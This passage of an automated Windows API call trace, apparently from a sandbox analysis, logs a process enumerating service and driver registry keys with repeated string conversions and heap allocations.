dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.491] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.491] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.491] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0246.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.492] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.492] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.492] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0246.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0246.493] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0246.493] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0246.494] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0246.495] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0246.496] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0246.497] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0246.498] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0246.499] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0246.500] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0246.501] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0246.502] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0246.502] 